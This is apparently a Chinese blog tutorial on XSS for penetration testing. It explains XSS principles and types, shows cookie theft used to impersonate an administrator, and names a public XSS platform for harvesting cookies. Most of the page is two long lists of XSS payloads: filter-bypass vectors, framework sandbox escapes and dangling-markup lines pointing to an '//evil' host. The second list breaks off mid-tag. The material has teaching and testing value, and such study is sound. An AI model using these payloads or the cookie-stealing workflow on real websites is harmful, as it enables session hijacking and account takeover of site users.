渗透测试基础-XSS漏洞简析

最新推荐文章于 2024-09-06 17:32:37 发布

风过留不留声

最新推荐文章于 2024-09-06 17:32:37 发布

阅读量6.5k

点赞数 1

分类专栏：渗透测试 Web安全篇文章标签： xss javascript 系统安全安全

本文链接：https://blog.csdn.net/phpppppppppp/article/details/124827007

版权

本文详细介绍了XSS（跨站脚本）漏洞的基础知识，包括XSS原理、危害、种类和常见利用代码集合。XSS允许攻击者通过注入前端代码执行恶意操作，如盗取用户账号、控制数据等。文章提到了反射型、存储型和DOM型XSS，并强调了cookie在XSS攻击中的重要性。同时，列举了一些XSS利用工具和payload示例。

摘要由CSDN通过智能技术生成

XSS原理

当你拿到一个网站的时候，你们能够输入的地方：

1.网站提供的框框

2.网址的参数的值

XSS原理：我们在一个网站上，输入【前端代码】，如果这个网站将我们的前端代码执行了，那么就说明这儿存在XSS漏洞。

前端代码：HTML、CSS、Javascript

<a target="_blank" href="//app.jd.com/">手机京东</a> # 前端代码，作用：跳转网页的。

乱插一通。

在后台点击手机京东会直接跳转。

ps：xss的小技巧：见框就插

ps：真实网站的时候，挖XSS不一定手测，可以直接工具爆破。需要好的字典。

XSS漏洞的危害

XSS漏洞的危害取决与Javascript。

1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号。

2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力。

3、盗窃企业重要的具有商业价值的资料。

4、非法转账。

5、强制发送电子邮件（钓鱼）。

6、网站挂马。

7、控制受害者机器（肉鸡）向其它网站发起攻击。

XSS的种类

反射型XSS：核心：非持久型。

这个漏洞是需要配合社工的。骗别人去触发你的XSS攻击。你插入代码就能触发攻击，你不插入就触发不了。

点击手机京东会直接跳转。

下次刷新会直接消失。

存储型XSS：核心：持久型。

你插入的代码直接插到数据库里面，这样就会导致正常用户，每一次访问数据库的时候，都会中XSS攻击。

ps：你要挖掘一个存储型的XSS，一定不要用弹框。

网站将我们的前端代码执行，说明这存在XSS漏洞。

DOM型XSS

什么是cookie？

指某些网站为了辨别用户身份、进行 session跟踪而储存在用户本地终端上的数据（通常经过加密）

简单地说，当用户使用浏览器访问一个支持Cookie的网站的时候，

用户会提供包括用户名在内的个人信息并且提交至服务器，服务器回传给用户这段个人信息的加密版本，这些信息并不存放在HTTP响应体（Response Body）中，而存放于HTTP响应头（Response Header）。

cookie = 网站用户身份

cookie，作用：当你拿到某个网站用户的cookie之后，那么你就可以冒充那个网站用户。

以杰斯管理员为例。

抓包获取杰斯cookie。

当切回普通用户时登录后台遭拒绝。

抓包将自己cookie改为杰斯cookie。

成功进入后台登陆页面。

XSS漏洞利用：

任何漏洞的利用，核心：将payload（漏洞利用代码）插到存在漏洞的地方。

一个xss漏洞平台:

https://xss8.cc/bdstatic.com/

cookie是会过期的。

无keepsession：过期就过期了，平台不管了。

keepsession：尽力维持cookie不过期。

获取测试代码。

插入代码。

查看结果。

cookie是flag=zkz{xsser-g00d}。

半个小时不操作网站，再次操作网站就要重新登陆···

常见XSS利用代码集合

burpXssPayload

<a id=x tabindex=1 onactivate=alert(1)></a><body onafterprint=alert(2)><style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(3)"></a><style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(4)"></a><style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(5)"></a><style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(6)"></a><a id=x tabindex=1 onbeforeactivate=alert(7)></a><a id=x tabindex=1 onbeforedeactivate=alert(8)></a><input autofocus><body onbeforeprint=alert(9)><body onbeforeunload="location='javascript:alert(10)'"><svg><animate onbegin=alert(11) attributeName=x dur=1s><a onblur=alert(12) tabindex=1 id=x></a><input autofocus><marquee width=1 loop=1 onbounce=alert(13)>XSS</marquee><audio oncanplay=alert(14)><source src="validaudio.wav" type="audio/wav"></audio><video oncanplaythrough=alert(15)><source src="validvideo.mp4" type="video/mp4"></video><a id=x tabindex=1 ondeactivate=alert(16)></a><input id=y autofocus><svg><animate onend=alert(17) attributeName=x dur=1s><audio controls autoplay onended=alert(18)><source src="validaudio.wav" type="audio/wav"></audio><audio src/onerror=alert(19)><marquee width=1 loop=1 onfinish=alert(20)>XSS</marquee><a id=x tabindex=1 onfocus=alert(21)></a><a id=x tabindex=1 onfocusin=alert(22)></a><a onfocusout=alert(23) tabindex=1 id=x></a><input autofocus><body onhashchange="alert(24)"><svg><a onload=alert(25)></a><audio onloadeddata=alert(26)><source src="validaudio.wav" type="audio/wav"></audio><audio autoplay onloadedmetadata=alert(27)> <source src="validaudio.wav" type="audio/wav"></audio><image src=validimage.png onloadend=alert(28)><image src=validimage.png onloadstart=alert(29)><body onmessage=alert(30)><body onpageshow=alert(31)><audio autoplay onplay=alert(32)><source src="validaudio.wav" type="audio/wav"></audio><audio autoplay onplaying=alert(33)><source src="validaudio.wav" type="audio/wav"></audio><body onpopstate=alert(34)><applet onreadystatechange=alert(35)></applet><svg><animate onrepeat=alert(36) attributeName=x dur=1s repeatCount=2 /><body onresize="alert(37)"><body onscroll=alert(38)><div style=height:1000px></div><div id=x></div><marquee onstart=alert(39)>XSS</marquee><audio controls autoplay ontimeupdate=alert(40)><source src="validaudio.wav" type="audio/wav"></audio><details ontoggle=alert(41) open>test</details><style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(42)></a><style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(43)></a><style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(44)></a><body onunhandledrejection=alert(45)><script>fetch('//xyz')</script><video autoplay controls onwaiting=alert(46)><source src="validvideo.mp4" type=video/mp4></video><input onauxclick=alert(47)><a onbeforecopy="alert(48)" contenteditable>test</a><a onbeforecut="alert(49)" contenteditable>test</a><a onbeforepaste="alert(50)" contenteditable>test</a><input onchange=alert(51) value=xss><a onclick="alert(52)">test</a><a oncontextmenu="alert(53)">test</a><a oncopy="alert(54)" contenteditable>test</a><a oncut="alert(55)" contenteditable>test</a><a ondblclick="alert(56)">test</a><a draggable="true" ondrag="alert(57)">test</a><a draggable="true" ondragend="alert(58)">test</a><a draggable="true" ondragenter="alert(59)">test</a><a draggable="true" ondragleave="alert(60)">test</a><div draggable="true" contenteditable>drag me</div><a ondragover=alert(61) contenteditable>drop here</a><a draggable="true" ondragstart="alert(62)">test</a><div draggable="true" contenteditable>drag me</div><a ondrop=alert(63) contenteditable>drop here</a><input oninput=alert(64) value=xss><form><input oninvalid=alert(65) required><input type=submit><a onkeydown="alert(66)" contenteditable>test</a><a onkeypress="alert(67)" contenteditable>test</a><a onkeyup="alert(68)" contenteditable>test</a><a onmousedown="alert(69)">test</a><a onmouseenter="alert(70)">test</a><a onmouseleave="alert(71)">test</a><a onmousemove="alert(72)">test</a><a onmouseout="alert(73)">test</a><a onmouseover="alert(74)">test</a><a onmouseup="alert(75)">test</a><a onpaste="alert(76)" contenteditable>test</a><audio autoplay controls onpause=alert(77)><source src="validaudio.wav" type="audio/wav"></audio><form onreset=alert(78)><input type=reset><form><input type=search onsearch=alert(79) value="Hit return" autofocus><audio autoplay controls onseeked=alert(80)><source src="validaudio.wav" type="audio/wav"></audio><audio autoplay controls onseeking=alert(81)><source src="validaudio.wav" type="audio/wav"></audio><input onselect=alert(82) value="XSS" autofocus><form onsubmit=alert(83)><input type=submit><svg onunload=window.open('javascript:alert(84)')><audio autoplay controls onvolumechange=alert(85)><source src="validaudio.wav" type="audio/wav"></audio><body onwheel=alert(86)><script>onerror=alert;throw 1</script><script>{onerror=alert}throw 1</script><script>throw onerror=alert,1</script><script>throw onerror=eval,'=alert\x281\x29'</script><script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script><script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script><script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script><script>location='javascript:alert\x281\x29'</script><script>location=name</script><script>alert`1`</script><xss class=progress-bar-animated onanimationstart=alert(97)><xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(98)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss><iframe src="javascript:alert(99)"><object data="javascript:alert(100)"><embed src="javascript:alert(101)"><a href="javascript:alert(102)">XSS</a><a href="JaVaScript:alert(103)">XSS</a><a href="   javascript:alert(104)">XSS</a><a href="javas  cript:alert(105)">XSS</a><svg><a xlink:href="javascript:alert(106)"><text x="20" y="20">XSS</text></a><svg><animate xlink:href=#xss attributeName=href values=javascript:alert(107) /><a id=xss><text x=20 y=20>XSS</text></a><svg><animate xlink:href=#xss attributeName=href from=javascript:alert(108) to=1 /><a id=xss><text x=20 y=20>XSS</text></a><svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(109) /><a id=xss><text x=20 y=20>XSS</text></a><script src="data:text/javascript,alert(110)"></script><svg><script href="data:text/javascript,alert(111)" /><svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(112)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg><script>import('data:text/javascript,alert(113)')</script><base href="javascript:/a/-alert(114)///"><a href=../lol/safari.html>test</a><math><x href="javascript:alert(115)">blah<form><button formaction=javascript:alert(116)>XSS<form><input type=submit formaction=javascript:alert(117) value=XSS><form action=javascript:alert(118)><input type=submit value=XSS><isindex type=submit formaction=javascript:alert(119)><isindex type=submit action=javascript:alert(120)><svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg><iframe srcdoc="<img src=1 onerror=alert(122)>"></iframe><iframe srcdoc="&lt;img src=1 onerror=alert(123)&gt;"></iframe><form action="javascript:alert(124)"><input type=submit id=x></form><label for=x>XSS</label><input type="hidden" accesskey="X" onclick="alert(125)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)<link rel="canonical" accesskey="X" onclick="alert(126)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)<a href=# download="filename.html">Test</a><img referrerpolicy="no-referrer" src="//portswigger-labs.net"><meta http-equiv="refresh" content="0; url=//portswigger-labs.net"><meta charset="UTF-7" /> +ADw-script+AD4-alert(130)+ADw-/script+AD4-<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(131)+ADw-/script+AD4-<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"><iframe sandbox src="//portswigger-labs.net"></iframe><meta name="referrer" content="no-referrer"><script>\u0061lert(1)</script><script>\u{61}lert(1)</script><script>\u{0000000061}lert(1)</script><script>eval('\x61lert(1)')</script><a href="&#106;avascript:alert(139)">XSS</a><a href="&#106avascript:alert(139)">XSS</a><a href="&#0000106avascript:alert(140)">XSS</a><a href="&#x6a;avascript:alert(141)">XSS</a><a href="&#x0000006a;avascript:alert(142)">XSS</a><a href="&#X6A;avascript:alert(143)">XSS</a><a href="javascript:x='%27-alert(144)-%27';">XSS</a><a href="javascript:x='&percnt;27-alert(145)-%27';">XSS</a><a href="javascript& #x6a;avascript:alert(146)">Firefox</a><a href="javascript& colon ;alert(147)">Firefox</a><script src=data:text/javascript;base64,YWxlcnQoMSk=></script>{
  {constructor.constructor('alert(149)')()}}{
  {$on.constructor('alert(150)')()}}{
  {a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(151)')()}}{
  {
  {}.")));alert(152)//"}}{
  {(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(153)')()}}{
  {toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(154)"].sort(toString.constructor);}}{
  {
  {}.")));alert(155)//"}}{
  {
  {}.")));alert(156)//"}}{
  {
  {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(157)//');}}{
  {'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(158)//');}}{
  {'a'.constructor.prototype.charAt=[].join;$eval('x=alert(159)');}}{
  {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(160)//');}}{
  {x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(161)');}}{
  {constructor.constructor('alert(162)')()}}{
  {$on.constructor('alert(163)')()}}constructor.constructor('alert(164)')()a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(165)')()toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(166)"].sort(toString.constructor){}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(167)')(){}.")));alert(168)//";'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(169)//';constructor.constructor('alert(170)')()toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'"><input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{
  { [1].reduce(value.alert, 1); }}</div></div></div><link rel=stylesheet href="//evil?<link rel=icon href="//evil?<meta http-equiv="refresh" content="0; http://evil?<video><track default src="//evil?<video><source src="//evil?<audio><source src="//evil?<input type=image src="//evil?<form><button style="width:100%;height:100%" type=submit formaction="//evil?<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?<button form=x style="width:100%;height:100%;"><form id=x action="//evil?<isindex type=image src="//evil?<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?<object data="//evil?<iframe src="//evil?<embed src="//evil?<form><button formaction=//evil>XSS</button><textarea name=x><button form=x>XSS</button><form id=x action=//evil target='<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(200)//'><img src="javascript:alert(201)"><body background="javascript:alert(202)"><iframe src="data:text/html,<img src=1 onerror=alert(203)>"><a title="&{alert(204)}">XSS</a><link href="xss.js" rel=stylesheet type="text/javascript"><form><button name=x formaction=x><b>stealme<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script><img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" /><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(209)">XSS</a><HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(210)>"> </BODY></HTML>

easyXssPayload

<script>alert(1)</script>  
<script>alert(2)</script>
medium--> Ë«Ð´ÈÆ¹ý£º<sc<script>ript>alert(4)</script>
	    ´óÐ¡Ð´»ìÏýÈÆ¹ý£º<ScRipt>alert(5)</script>
	<img src=1 onerror=alert(7)>
onmouseover=¡¯alert(9)¡¯
<script>alert(11);</script> 
>"'><img src="javascript.:alert(12)">
>"'><script>alert(13)</script>
<table background='javascript.:alert(14)'></table>
<object type=text/html data='javascript.:alert(15);'></object>
"+alert(16)+"
<body/onfocus=top.alert(17)>
<img/src=22 onerror=window.alert(22)>
<img src=62 onerror=(function(){alert(62)})()>
<img src=63 onerror=!function(){alert(63)}()>
<img src=64 onerror=%2bfunction(){alert(64)}()>
<img src=65 onerror=%2dfunction(){alert(65)}()>
<img src=66 onerror=~function(){alert(66)}()>
<a href="javascript:`${alert(69)}`">XSS Test</a>
<a href="javascript:[''].findIndex(alert(71)">XSS Test</a>
<iframe onload=location=['javascript:alert(79)'].join(")>
<a href="javascript:(new Function('alert(80))()">XSS Test</a>
<body/onload=Function(alert(81))()>
<img%0Dsrc=82 onerror=Function(alert(82))>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert(84))()">XSS Test</a>
<body/onload=eval(location.hash.slice(85))>#alert(85)
<body/onload=setTimeout(location.hash.substr(86))()>#alert(86)
<body/onload=Set.constructor(location.hash.substr(87))()>#alert(87)
<body/onload=execScript(location.hash.substr(88))>#alert(88)
<body/onload=Function(location.hash.slice(90))()>#alert(90)
<svg/onload=alert(91)
<svg onload=eval(URL.slice(-8))>#alert(93)
<body/onload=eval(location.hash.slice(94))>#javascript:alert(94)
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(97)">
<img src=101 onerror=location="javascript:alert(101)">
<svg/onload="javascript:alert(103)" xmlns="http://www.baidu.com">
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(105)
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>"  #"-alert(107)
<svg/onload=with(location)with(hash)eval(alert(109))>
<body onload=alert(140)>
<body onpageshow=alert(141)>
<body onfocus=alert(142)>
<body onhashchange=alert(143)><a href=#></a>
<body style=overflow:auto;height:144000px onscroll=alert(144) id=x>#x
<body onscroll=alert(145)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
<marquee onstart=alert(146)>
<marquee loop=147 width=0 onfinish=alert(147)>
<audio src onloadstart=alert(148)>
<video onloadstart=alert(149)><source>
<input autofocus onblur=alert(150)>
<keygen autofocus onfocus=alert(151)>
<form onsubmit=alert(152)><input type=submit>
<select onchange=alert(153)><option>153<option>2
<menu id=x contextmenu=x onshow=alert(154)>right click me!
<x contenteditable onblur=alert(155)>lose focus!
<x onclick=alert(156)>click this!
<x oncopy=alert(157)>copy this!
<x oncontextmenu=alert(158)>right click this!
<x oncut=alert(159)>copy this!
<x ondblclick=alert(160)>double click this!
<x ondrag=alert(161)>drag this!
<x contenteditable onfocus=alert(162)>focus this!
<x contenteditable oninput=alert(163)>input here!
<x contenteditable onkeydown=alert(164)>press any key!
<x contenteditable onkeypress=alert(165)>press any key!
<x contenteditable onkeyup=alert(166)>press any key!
<x onmousedown=alert(167)>click this!
<x onmousemove=alert(168)>hover this!
<x onmouseout=alert(169)>hover this!
<x onmouseover=alert(170)>hover this!
<x onmouseup=alert(171)>click this!
<x contenteditable onpaste=alert(172)>paste here!
<brute contenteditable onblur=alert(173)>lose focus!
<brute onclick=alert(174)>click this!
<brute oncopy=alert(175)>copy this!
<brute oncontextmenu=alert(176)>right click this!
<brute oncut=alert(177)>copy this!
<brute ondblclick=alert(178)>double click this!
<brute ondrag=alert(179)>drag this!
<brute contenteditable onfocus=alert(180)>focus this!
<brute contenteditable oninput=alert(181)>input here!
<brute contenteditable onkeydown=alert(182)>press any key!
<brute contenteditable onkeypress=alert(183)>press any key!
<brute contenteditable onkeyup=alert(184)>press any key!
<brute onmousedown=alert(185)>click this!
<brute onmousemove=alert(186)>hover this!
<brute onmouseout=alert(187)>hover this!
<brute onmouseover=alert(188)>hover this!
<brute onmouseup=alert(189)>click this!
<brute contenteditable onpaste=alert(190)>paste here!
<brute style=font-size:500px onmouseover=alert(191)>0000
<brute style=font-size:500px onmouseover=alert(192)>000192
<brute style=font-size:500px onmouseover=alert(193)>0002
<brute style=font-size:500px onmouseover=alert(194)>0003
<script src=javascript:alert(196)>
<iframe src=javascript:alert(197)>
<embed src=javascript:alert(198)>
<a href=javascript:alert(200)>click
<math><brute href=javascript:alert(201)>click
<form action=javascript:alert(203)><input type=submit>
<isindex action=javascript:alert(204) type=submit value=click>
<form><button formaction=javascript:alert(206)>click
<form><input formaction=javascript:alert(207) type=submit value=click>
<form><input formaction=javascript:alert(208) type=image value=click>
<form><input formaction=javascript:alert(209) type=image src=http://brutelogic.com.br/webgun/img/youtube209.jpg>
<isindex formaction=javascript:alert(210) type=submit value=click>
<object data=javascript:alert(212)>
<svg><script xlink:href=data:,alert(216)></script>
<svg><script xlink:href=data:,alert(217) />
<math><brute xlink:href=javascript:alert(218)>click
<svg><a xmlns:xlink=http://www.w3.org/220999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(220) to=%26>
'><script>alert(221)</script>
='><script>alert(222)</script>
<script>alert(223)</script>
<script>alert(224)</script>
<s&#99;ript>alert(225)</script>
<img src="javas&#99;ript:alert(226)">
%0a%0a<script>alert(227)</script>.jsp
%3c/a%3e%3cscript%3ealert(228)%3c/script%3e
%3c/title%3e%3cscript%3ealert(229)%3c/script%3e
%3cscript%3ealert(230)%3c/script%3e/index.html
<script>alert(231)</script>
a.jsp/<script>alert(232)</script>
"><script>alert(233)</script>
<IMG SRC="javascript.:alert(234);">
<IMG SRC="jav&#x09;ascript.:alert(238);">
<IMG SRC="jav&#x0A;ascript.:alert(239);">
<IMG SRC="jav&#x0D;ascript.:alert(240);">
"<IMG src="/java"\0script.:alert(241)>";'>out
<IMG SRC=" javascript.:alert(242);">
<SCRIPT>a=/XSS/alert(243)</SCRIPT>
<BODY BACKGROUND="javascript.:alert(244)">
<BODY ONLOAD=alert(245)>
<IMG DYNSRC="javascript.:alert(246)">
<IMG LOWSRC="javascript.:alert(247)">
<BGSOUND SRC="javascript.:alert(248);">
<br size="&{alert(249)}">
<LINK REL="stylesheet"HREF="javascript.:alert(251);">
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert(253);">
<TABLE BACKGROUND="javascript.:alert(256)">
<DIV STYLE="background-image: url(javascript.:alert(257))">
<DIV STYLE="width: expression(alert(259));">
<STYLE>@im\port'\ja\vasc\ript:alert(260)';</STYLE>
<IMG STYLE='xss:expre\ssion(alert(261))'>
<STYLE. TYPE="text/javascript">alert(262);</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert(263)");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert(264)")}</STYLE>
<BASE HREF="javascript.:alert(265);//">
getURL("javascript.:alert(266)")
a="get";b="URL";c="javascript.:";d="alert(267);";eval(a+b+c+d);
<XML SRC=